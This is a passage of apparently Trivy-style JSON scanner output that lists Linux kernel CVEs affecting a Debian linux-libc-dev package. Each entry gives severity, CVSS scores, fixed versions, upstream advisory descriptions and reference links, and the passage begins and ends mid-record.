"V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/08/14", "https://access.redhat.com/errata/RHSA-2026:36645", "https://access.redhat.com/security/cve/CVE-2026-46242", "https://bugzilla.redhat.com/2467019", "https://bugzilla.redhat.com/2483519", "https://bugzilla.redhat.com/2485368", "https://errata.almalinux.org/9/ALSA-2026-36645.html", "https://git.kernel.org/linus/a6dc643c69311677c574a0f17a3f4d66a5f3744b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2de4db145b2992da496fea6c51f9839be678ae24", "https://git.kernel.org/stable/c/3e1144d2515d28e4312e663ea05eac203101491d", "https://git.kernel.org/stable/c/9324de74a3a59b9fde9b62ee45ebaa71458ba2e5", "https://git.kernel.org/stable/c/a10fbbe74e1c743beb1bb312109366667461df8a", "https://git.kernel.org/stable/c/a6dc643c69311677c574a0f17a3f4d66a5f3744b", "https://git.kernel.org/stable/c/ced39b6a8062bac5c18a1c3df85634107eb8664a", "https://git.kernel.org/stable/c/ef4ca02e95363e78977ca04340d44fe3b4b2b81f", "https://linux.oracle.com/cve/CVE-2026-46242.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026053014-CVE-2026-46242-8394@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46242", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46242" ], "PublishedDate": "2026-05-30T13:16:21.98Z", "LastModifiedDate": "2026-10-19T20:18:39.123Z" }, { "VulnerabilityID": "CVE-2026-46243", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46243", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:acf2f7f862ad2cadf7b61f5019ba811de0e56c935314f4cbf16ace99cfb98b0b", "Title": "kernel: Linux kernel: smb: client: reject userspace cifs.spnego descriptions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject userspace cifs.spnego descriptions\n\ncifs.spnego key descriptions contain authority-bearing fields such as\npid, uid, creduid, and upcall_target that cifs.upcall treats as\nkernel-originating inputs. However, userspace can also create keys of\nthis type through request_key(2) or add_key(2), allowing those fields to\nbe supplied without CIFS origin.\n\nOnly accept cifs.spnego descriptions while CIFS is using its private\nspnego_cred to request the key.", "Severity": "HIGH", "CweIDs": [ "CWE-20", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/06/01/6", "https://access.redhat.com/errata/RHSA-2026:23258", "https://access.redhat.com/errata/RHSA-2026:23259", "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:23395", "https://access.redhat.com/errata/RHSA-2026:24381", "https://access.redhat.com/errata/RHSA-2026:25908", "https://access.redhat.com/errata/RHSA-2026:26462", "https://access.redhat.com/errata/RHSA-2026:26515", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26563", "https://access.redhat.com/errata/RHSA-2026:26570", "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27719", "https://access.redhat.com/errata/RHSA-2026:27729", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:33219", "https://access.redhat.com/errata/RHSA-2026:33220", "https://access.redhat.com/errata/RHSA-2026:33221", "https://access.redhat.com/errata/RHSA-2026:33222", "https://access.redhat.com/errata/RHSA-2026:33223", "https://access.redhat.com/errata/RHSA-2026:33224", "https://access.redhat.com/errata/RHSA-2026:33225", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34048", "https://access.redhat.com/errata/RHSA-2026:34757", "https://access.redhat.com/errata/RHSA-2026:34764", "https://access.redhat.com/errata/RHSA-2026:34788", "https://access.redhat.com/errata/RHSA-2026:34815", "https://access.redhat.com/errata/RHSA-2026:36620", "https://access.redhat.com/errata/RHSA-2026:40021", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/security/cve/CVE-2026-46243", "https://bugzilla.redhat.com/2461480", "https://bugzilla.redhat.com/2464096", "https://bugzilla.redhat.com/2481486", "https://bugzilla.redhat.com/show_bug.cgi?id=2481486", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-24381.html", "https://git.kernel.org/linus/3da1fdf4efbc490041eb4f836bf596201203f8f2%20%287.1-rc5%29", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3da1fdf4efbc490041eb4f836bf596201203f8f2", "https://git.kernel.org/stable/c/0aece6685fc80a8de492688ca2315fb86ec379c7", "https://git.kernel.org/stable/c/2035acfb17221729b1b8ac335e941868a04ca079", "https://git.kernel.org/stable/c/3da1fdf4efbc490041eb4f836bf596201203f8f2", "https://git.kernel.org/stable/c/7713bd320ed4fc3d08a227cd8e41242219a16981", "https://git.kernel.org/stable/c/91f89c1d83e80417629791fcef6af8140d7d01c8", "https://git.kernel.org/stable/c/9544559e59438a4b609b2fdfa0763d8360572824", "https://git.kernel.org/stable/c/a3bbda6502a9398b816fa2e71c9a3f955f58013d", "https://git.kernel.org/stable/c/cf20038657d6d4974349556a34e08fe0490bebbc", "https://github.com/manizada/CIFSwitch", "https://linux.oracle.com/cve/CVE-2026-46243.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026060140-CVE-2026-46243-3d1c@gregkh/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46243", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46243.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46243" ], "PublishedDate": "2026-06-01T17:17:34.173Z", "LastModifiedDate": "2026-10-15T02:19:51.103Z" }, { "VulnerabilityID": "CVE-2026-46244", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46244", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4564899a95d1e7134d425234bd504fe76831887349fd52eb096f2294345a973c", "Title": "kernel: netfilter: nft_inner: Fix IPv6 inner_thoff desync", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_inner: Fix IPv6 inner_thoff desync\n\nIn nft_inner_parse_l2l3(), when processing inner IPv6 packets,\nipv6_find_hdr() correctly computes the transport header offset\ntraversing all extension headers, but the result is immediately\noverwritten with nhoff + sizeof(_ip6h) (40 bytes), which only\naccounts for the IPv6 base header. This creates a desync between\ninner_thoff (wrong — points to extension header start) and l4proto\n(correct — e.g., IPPROTO_TCP), enabling transport header forgery\nand potential firewall bypass. This issue affects stable versions\nfrom Linux 6.2.\n\nFor comparison, the normal (non-inner) IPv6 path correctly\npreserves ipv6_find_hdr()'s result. Removing the incorrect overwrite\nensures that ipv6_find_hdr()'s calculated transport header offset is\npreserved, thereby fixing the desynchronization.", "Severity": "HIGH", "CweIDs": [ "CWE-682", "CWE-823" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:55618", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/security/cve/CVE-2026-46244", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/b6a91f68ebfed9c38e0e9150f58a9b85da07181c%20%287.1-rc5%29", "https://git.kernel.org/stable/c/689bbf48c1f45130086ae1c46ab83ea4c753c601", "https://git.kernel.org/stable/c/870d59e2cf218e7418491e26bad768cb16654582", "https://git.kernel.org/stable/c/b6a91f68ebfed9c38e0e9150f58a9b85da07181c", "https://git.kernel.org/stable/c/c161ad9157f5a0429b5ff94d9770faf3bf48d273", "https://git.kernel.org/stable/c/d0f98a3617f6ae5b1e95cde1e68e7ead4a1279ce", "https://linux.oracle.com/cve/CVE-2026-46244.html", "https://linux.oracle.com/errata/ELSA-2026-36018.html", "https://lore.kernel.org/linux-cve-announce/2026060309-CVE-2026-46244-e8d7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46244", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46244.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46244" ], "PublishedDate": "2026-06-03T18:16:24.43Z", "LastModifiedDate": "2026-10-19T20:18:39.337Z" }, { "VulnerabilityID": "CVE-2026-46246", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:335343f2dd28e6fb60ed80b2225363605154c02d1849dc86cd2077e8e48d99ed", "Title": "kernel: power: supply: pm8916_lbc: Fix use-after-free for extcon in IRQ handler", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: pm8916_lbc: Fix use-after-free for extcon in IRQ handler\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `extcon` handle, means that the\n`extcon` handle will be deallocated/unregistered _before_ the interrupt\nhandler (since `devm_` naturally deallocates in reverse allocation\norder). This means that during removal, there is a race condition where\nan interrupt can fire just _after_ the `extcon` handle has been\nfreed, *but* just _before_ the corresponding unregistration of the IRQ\nhandler has run.\n\nThis will lead to the IRQ handler calling `extcon_set_state_sync()` with\na freed `extcon` handle. Which usually crashes the system or otherwise\nsilently corrupts the memory...\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `extcon` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46246", "https://git.kernel.org/linus/23067259919663580c6f81801847cfc7bd54fd1f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/23067259919663580c6f81801847cfc7bd54fd1f", "https://git.kernel.org/stable/c/47abfc207ab02cf1297257e282e8048da63f0d08", "https://git.kernel.org/stable/c/48e0f68b50c344bb2d78d65dd98f93e41276ee00", "https://git.kernel.org/stable/c/9fab0120907e6965168e55b1e17cb9dfaf262b86", "https://lore.kernel.org/linux-cve-announce/2026060333-CVE-2026-46246-f24c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46246", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-46246" ], "PublishedDate": "2026-06-03T18:16:24.793Z", "LastModifiedDate": "2026-07-22T20:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-46267", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46267", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ab9f890d90165f77e88daa9afeb35b49a68b7a7b79b426cf51d2b6d40f37fc3d", "Title": "kernel: nfc: hci: shdlc: Stop timers and work before freeing context", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: hci: shdlc: Stop timers and work before freeing context\n\nllc_shdlc_deinit() purges SHDLC skb queues and frees the llc_shdlc\nstructure while its timers and state machine work may still be active.\n\nTimer callbacks can schedule sm_work, and sm_work accesses SHDLC state\nand the skb queues. If teardown happens in parallel with a queued/running\nwork item, it can lead to UAF and other shutdown races.\n\nStop all SHDLC timers and cancel sm_work synchronously before purging the\nqueues and freeing the context.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46267", "https://git.kernel.org/linus/c9efde1e537baed7648a94022b43836a348a074f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1cb97b1225450af3f7b728777929ba50c6a58ced", "https://git.kernel.org/stable/c/276820278e9717cc7d4bb32381892dd3ddf418d4", "https://git.kernel.org/stable/c/77eef9f2eef045c3c37a3df82d3e661afb866b98", "https://git.kernel.org/stable/c/a24a676329d40481b2331bfa1418a679577dfd3a", "https://git.kernel.org/stable/c/c60f41022eaad2a1dafecd3ae6f249a3bd6d4b6e", "https://git.kernel.org/stable/c/c9efde1e537baed7648a94022b43836a348a074f", "https://git.kernel.org/stable/c/cf70cedce327833296ebe6043364d1e44b76a2ab", "https://lore.kernel.org/linux-cve-announce/2026060338-CVE-2026-46267-5845@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46267", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46267" ], "PublishedDate": "2026-06-03T18:16:28.32Z", "LastModifiedDate": "2026-07-22T20:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-46279", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46279", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36900853640385fdb3845ffce7393553cd73beeeec82cdb529b3c3a77bf4ce43", "Title": "kernel: mm/alloc_tag: clear codetag for pages allocated before page_ext initialization", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/alloc_tag: clear codetag for pages allocated before page_ext initialization\n\nDue to initialization ordering, page_ext is allocated and initialized\nrelatively late during boot. Some pages have already been allocated and\nfreed before page_ext becomes available, leaving their codetag\nuninitialized.\n\nA clear example is in init_section_page_ext(): alloc_page_ext() calls\nkmemleak_alloc(). If the slab cache has no free objects, it falls back to\nthe buddy allocator to allocate memory. However, at this point page_ext\nis not yet fully initialized, so these newly allocated pages have no\ncodetag set. These pages may later be reclaimed by KASAN, which causes\nthe warning to trigger when they are freed because their codetag ref is\nstill empty.\n\nUse a global array to track pages allocated before page_ext is fully\ninitialized. The array size is fixed at 8192 entries, and will emit a\nwarning if this limit is exceeded. When page_ext initialization\ncompletes, set their codetag to empty to avoid warnings when they are\nfreed later.\n\nThis warning is only observed with CONFIG_MEM_ALLOC_PROFILING_DEBUG=Y and\nmem_profiling_compressed disabled:\n\n[ 9.582133] ------------[ cut here ]------------\n[ 9.582137] alloc_tag was not set\n[ 9.582139] WARNING: ./include/linux/alloc_tag.h:164 at __pgalloc_tag_sub+0x40f/0x550, CPU#5: systemd/1\n[ 9.582190] CPU: 5 UID: 0 PID: 1 Comm: systemd Not tainted 7.0.0-rc4 #1 PREEMPT(lazy)\n[ 9.582192] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\n[ 9.582194] RIP: 0010:__pgalloc_tag_sub+0x40f/0x550\n[ 9.582196] Code: 00 00 4c 29 e5 48 8b 05 1f 88 56 05 48 8d 4c ad 00 48 8d 2c c8 e9 87 fd ff ff 0f 0b 0f 0b e9 f3 fe ff ff 48 8d 3d 61 2f ed 03 \u003c67\u003e 48 0f b9 3a e9 b3 fd ff ff 0f 0b eb e4 e8 5e cd 14 02 4c 89 c7\n[ 9.582197] RSP: 0018:ffffc9000001f940 EFLAGS: 00010246\n[ 9.582200] RAX: dffffc0000000000 RBX: 1ffff92000003f2b RCX: 1ffff110200d806c\n[ 9.582201] RDX: ffff8881006c0360 RSI: 0000000000000004 RDI: ffffffff9bc7b460\n[ 9.582202] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff3a62324\n[ 9.582203] R10: ffffffff9d311923 R11: 0000000000000000 R12: ffffea0004001b00\n[ 9.582204] R13: 0000000000002000 R14: ffffea0000000000 R15: ffff8881006c0360\n[ 9.582206] FS: 00007ffbbcf2d940(0000) GS:ffff888450479000(0000) knlGS:0000000000000000\n[ 9.582208] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 9.582210] CR2: 000055ee3aa260d0 CR3: 0000000148b67005 CR4: 0000000000770ef0\n[ 9.582211] PKRU: 55555554\n[ 9.582212] Call Trace:\n[ 9.582213] \u003cTASK\u003e\n[ 9.582214] ? __pfx___pgalloc_tag_sub+0x10/0x10\n[ 9.582216] ? check_bytes_and_report+0x68/0x140\n[ 9.582219] __free_frozen_pages+0x2e4/0x1150\n[ 9.582221] ? __free_slab+0xc2/0x2b0\n[ 9.582224] qlist_free_all+0x4c/0xf0\n[ 9.582227] kasan_quarantine_reduce+0x15d/0x180\n[ 9.582229] __kasan_slab_alloc+0x69/0x90\n[ 9.582232] kmem_cache_alloc_noprof+0x14a/0x500\n[ 9.582234] do_getname+0x96/0x310\n[ 9.582237] do_readlinkat+0x91/0x2f0\n[ 9.582239] ? __pfx_do_readlinkat+0x10/0x10\n[ 9.582240] ? get_random_bytes_user+0x1df/0x2c0\n[ 9.582244] __x64_sys_readlinkat+0x96/0x100\n[ 9.582246] do_syscall_64+0xce/0x650\n[ 9.582250] ? __x64_sys_getrandom+0x13a/0x1e0\n[ 9.582252] ? __pfx___x64_sys_getrandom+0x10/0x10\n[ 9.582254] ? do_syscall_64+0x114/0x650\n[ 9.582255] ? ksys_read+0xfc/0x1d0\n[ 9.582258] ? __pfx_ksys_read+0x10/0x10\n[ 9.582260] ? do_syscall_64+0x114/0x650\n[ 9.582262] ? do_syscall_64+0x114/0x650\n[ 9.582264] ? __pfx_fput_close_sync+0x10/0x10\n[ 9.582266] ? file_close_fd_locked+0x178/0x2a0\n[ 9.582268] ? __x64_sys_faccessat2+0x96/0x100\n[ 9.582269] ? __x64_sys_close+0x7d/0xd0\n[ 9.582271] ? do_syscall_64+0x114/0x650\n[ 9.582273] ? do_syscall_64+0x114/0x650\n[ 9.582275] ? clear_bhb_loop+0x50/0xa0\n[ 9.582277] ? clear_bhb_l\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 